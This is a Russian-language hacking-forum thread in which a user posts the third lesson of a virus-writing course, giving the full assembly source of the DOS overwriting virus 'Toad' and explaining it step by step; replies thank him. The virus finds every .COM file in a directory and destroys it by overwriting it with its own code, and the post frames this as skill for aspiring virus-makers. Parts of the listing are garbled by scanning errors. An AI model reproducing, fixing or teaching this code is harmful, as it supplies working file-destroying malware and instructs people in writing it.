1. MR-X13.03.2025 в 09:19от
  2. D1zo13.03.2025 в 08:06от
Загрузка...

урок 3.Часть 1.Переписывающие вирусы

Тема в разделе "Новости электронного мира", создана пользователем 100yak, 28.08.2012.

  1. 100yak

    100yak

    Статус:
    Оффлайн
    Регистрация:
    08.08.12
    Сообщения:
    171
    Репутация:
    65 +/-
    Ну вот ребят как я и обещал в третьем уроки все обьяснения кода программы которая была дана во втором уроке и дана в третьем.Третий урок я разложил на две части так как вам будет очень сложно запомнить такую обьёмную информацию.Итак поехали))
    Переписывающие вирусы
    Переписывающие вирусы переписывают свои жертвы. Это
    означает, что зараженные программы уже не будут выполняться,
    потому что вирус заменил их код своим кодом. Когда пользователь
    пытается выполнить зараженную программу, вместо нее
    выполняется вирус. Он размножается и при совпадении заданных
    условий показывает сообщение или разрушает данные. Это
    выглядит так:
    Программа + Вирус=Вирусамма
    Давайте посмотрим, что делает переписывающий вирус:
    1. Находит подходящий файл.
    2. Открывает его для чтения/записи.
    3. Записывает вирус в файл.
    4. Закрывает файл.
    5. Вирус завершает действие и передает контроль DOS.
    А если найденный файл уже инфицирован? В случае
    переписывающих вирусов этот фактор не важен. Но если вы не
    хотите, чтобы ваш вирус по сто раз заражал один и тот же файл, мы
    позже что-нибудь придумаем. А пока рассмотрим основные шаги.
    В качестве примера я использую вирус Toad (Жаба). Ниже
    приведен листинг этого демонстрационного вируса. Позже мы
    обсудим каждый кусок в отдельности, так что не напрягайтесь,
    встретив что-то незнакомое.
    code segment
    assume cs:code,ds:code
    org 100h
    toad proc near
    first_fly:
    mov ah,4eh
    findjly:
    хог сх.сх
    lea dx.comsig
    int 21h
    jc wart_growth
    open_fly:
    mov ax,3dO2h
    mov dx,9eh
    int 21 h
    eat_fly:
    xchg bx.ax
    mov ah,4Oh
    mov ex,offset horny — offset first_fly
    lea dx,first_fly
    int 21 h
    stitchjjp:
    mov ah,3eh
    int 21 h
    mov ah,4fh
    jmp find_fly
    wart_growth:
    mov ah,09h
    mov dx,offset wart
    int 21 h
    cya: int 20h
    comsig db «*.com»,0
    wart db 'Поздравления! Вы заразили все СОМ-файлы в этой', 10,13
    db 'директории вирусом Toad. Хорошего вам дня.', 10,13,'$'
    horny label near
    toad endp
    code ends
    end first_fly

    Ничё так код да ребят?))Этот исходный код я поделил на
    отдельные части. Перед тем как мы приступим к объяснениям,
    запомните, что наш вирус использует формат СОМ-файла. Он
    может иметь длину только в один сегмент или в 65,536 байтов.
    Поначалу мы не будем беспокоиться об ограничении размера. Но
    позже такие ограничения станут важным фактором в выборе
    файлов для инфицирования.
    Итак, присмотримся к вирусу Toad. Я думаю, вы уже
    подзабыли некоторые хитрости Ассемблера, поэтому постараюсь
    напомнить их вам:
    code segment
    Директива «segment» определяет параметры для сегмента.
    В этом примере мы определяем сегмент кода. Весь
    исполнительный код (плоть и кровь нашей программы) находится
    внутри сегмента кода. Данный сегмент не обязательно должен
    называться сегментом «кода». Он называется сегментом «кода»
    только по соглашению, принятому среди программистов.
    Например, если мы столкнемся с большой программой и она будет
    иметь множество разных процедур внешних вызовов, то нам
    придется определять сегмент данных отдельно от сегмента кода. Но
    поскольку наш кусочек кода очень маленький, то два сегмента
    перемешаны.
    assume cs:code,ds:code
    Предполагаемая процедура лежит внутри сегмента кода и
    соответствует имени, которое мы дали сегменту. В этой программе
    мы заявляем, что регистры сегментов кода и данных ассоци-
    ируются с сегментом «кода». Что это означает? Мы устанавливаем
    параметры нашего СОМ-файла! Следуя соглашению програм-
    мистов, мы определяем, где и какие фрагменты будут находиться в
    нашей программе и как они будут настроены. Чем являются
    регистры cs и ds? Регистр сегмента кода будет содержать
    стартовый адрес сегмента кода вашей программы. По сути, он
    говорит компьютеру, где начинать искать наш исполнительный
    код.
    Другим регистром, достойным упоминания, будет ip —
    командный указатель (регистр указателя инструкций). Работой ip
    является хранение адреса офсета следующей строки кода, который
    должен выполняться.
    Вы хотите знать, что такое адрес офсета? Адрес офсета — это
    не настоящий адрес строки в вашей программе, а скорее,
    расстояние от данной точки до указанного адреса. Таким образом,
    регистр сегмента кода, добавленный к командному указателю, даст
    вам следующую исполняемую строку в программе. Регистр cs
    остается константой, тогда как ip высчитывает строки кода.
    org 100h
    Здесь мы имеем дело с памятью. Сейчас вы создаете СОМ-
    файлы, поэтому директива org 100h должна следовать за
    директивой assume. Она говорит компьютеру, что ваш СОМ-файл
    расположен по адресу 100 hex или 256 байтов. Значение 100 hex
    является расстоянием — офсетом, который находится сразу за PSP.
    Значение 100h помещается в ip и говорит компьютеру, откуда
    начинать работу. PSP содержит информацию о вашей программе.
    Он создается в том сегменте памяти, где загружена программа.
    Другими словами, PSP не является постоянной структурой,
    которая сохраняется вместе с программой.
    toad proc near
    Хотя это необязательно, я включил сюда директиву
    процедуры — мне хочется показать вам соглашение программистов
    по созданию программного кода. Процедура является
    подпрограммой внутри сегмента кода. Более крупный вирус
    содержит много процедур, вызываемых для выполнения
    определенных задач. Мы назначаем процедуре имя и определяем ее
    как близкую (near). Когда мы столкнемся с более крупными
    программами, которые имеют дело с процедурами вызовов в
    разных сегментах, нам придется иметь дело с дальними (far)
    процедурами. В данном случае я включил эту директиву для того,
    чтобы вы узнавали ее в других примерах кода.
    first_fly:mov ah,4eh
    Вот мы и подошли непосредственно к телу
    вируса. Если вы посмотрите на него в целом, то
    увидите, что я пометил различные
    подпрограммы в коде. Метки должны быть
    описательными, чтобы вы понимали действия, выполняемые этими
    частями кода. Наша первая подпрограмма названа first fly (первая
    муха). Она напоминает нам, что данная подпрограмма находит
    файл для инфицирования. Метка позволяет программе прыгать к
    ней, если вам снова понадобится выполнить данную подпрограмму.
    В нашем вирусе мы будем использовать четыре регистра
    общего назначения: ах, Ьх, сх и dx. Сумматор, или ах используется
    для операций I/O (input/output — ввод/вывод) и арифметических
    вычислений. Ьх — он же базовый регистр — используется для
    вычислений или в качестве индекса для расширенной адресации.
    сх, или счетчик, используется для вычислений и для подсчета
    циклов в петлевых операциях, dx или регистр данных, подобно ах,
    используется для операций I/O, а также для операций умножения
    и деления, в которых используются большие числа.
    Теперь вернемся к нашей подпрограмме get fly, которая
    находит файл для инфицирования. Ее результатом, или output,
    будет первый файл, найденный в директории, — файл, обладающий
    нужными нам атрибутами. Следовательно, мы должны загрузить
    условия в общие регистры и выполнить прерывание.
    Хм, я напомню вам, что регистры общего назначения
    являются 16-битными: 8 битов в верхней части и 8 — в нижней, ах
    делится на две половины: старшую АН и младшую AL. Все
    регистры общего назначения следуют той же логике: ВН — BL, СН
    - CL и DH - DL
    Какие значения нам нужно загрузить в общие регистры для
    этой подпрограммы?
    Во-первых, 4е hex в АН. Во-вторых, сх должен быть нулевым,
    чтобы установить нормальные файловые атрибуты. В-третьих, dx
    нуждается в строке, содержащей определение искомого файла.
    Чтобы переместить значение 4е hex в АН, мы используем
    команду MOV. Команда MOV переносит значение второго
    операнда в первый без изменения значения второго операнда.
    Иными словами, MOV АН, 4eh перемещает'значение 4е hex в АН.
    find_fly:
    хог сх,сх
    Далее, нам нужно обнулить значение сх. Это можно сделать
    двумя способами. Первый очевиден: MOV CX, 0. Но истинный
    вирусмейкер всегда нацелен на оптимизацию кода. Инструкция
    MOV СХ, 0 требует 3 байта, в то время как XOR СХ, СХ берет
    только 2 байта. Логическая инструкция «эксклюзивного или»
    интересна тем, что при равенстве операндов первый операнд
    сбрасывается до нуля.
    lea dx,comsig​
    Затем нам нужно загрузить в dx строку с файловым
    определением, по которому мы ищем файл. В данном случае мы
    ищем СОМ-файлы. Следовательно, строкой будет *.СОМ.
    «Звездочка» заказывает поиск всех файлов с расширением
    «.СОМ». Строка определяется в адресе comsig в сегменте данных
    нашего вируса.
    Чтобы переместить эту строку в dx, нам требуется
    инструкция LEA DX, comsig, то есть Load Effective Address —
    загрузить эффективный адрес comsig в dx. Для этой операции мы,
    конечно, могли бы использовать команду MOV: MOV dx, офсет
    comsig, загружая офсет адреса comsig в dx.
    int 21h​

    Команда INT выполняет желаемую функцию, которую вы
    установили для нее. Вкратце говоря, программа останавливается, и
    таблица векторов прерывания становится доступной для адреса
    прерывания, который мы определили. Нам предлагаются 256
    возможных прерываний.
    Как я уже говорил, прерывание выполняет подпрограмму,
    которую мы определяем с помощью загрузки регистров общего
    назначения. Теперь пришла пора позаботиться о результате.
    Продолжение следует....Сегодня выложу ещё)
     
  2. 100yak

    100yak

    Статус:
    Оффлайн
    Регистрация:
    08.08.12
    Сообщения:
    171
    Репутация:
    65 +/-
    Так и думал что все забросят.
     
  3. Alex_sex

    Alex_sex

    Статус:
    Оффлайн
    Регистрация:
    30.07.12
    Сообщения:
    61
    Репутация:
    26 +/-
    Огромное спасибо!
    Всегда этому хотел научиться!!!)
     
  4. NightGhosts

    NightGhosts

    Статус:
    Оффлайн
    Регистрация:
    01.06.12
    Сообщения:
    560
    Репутация:
    185 +/-
    Большое спасибо за данную информацию!
     
  5. Vovan4ik161

    Vovan4ik161

    Статус:
    Оффлайн
    Регистрация:
    17.06.12
    Сообщения:
    56
    Репутация:
    28 +/-
    Америку ты конечно не открыл, но пользу извлёк кое какую!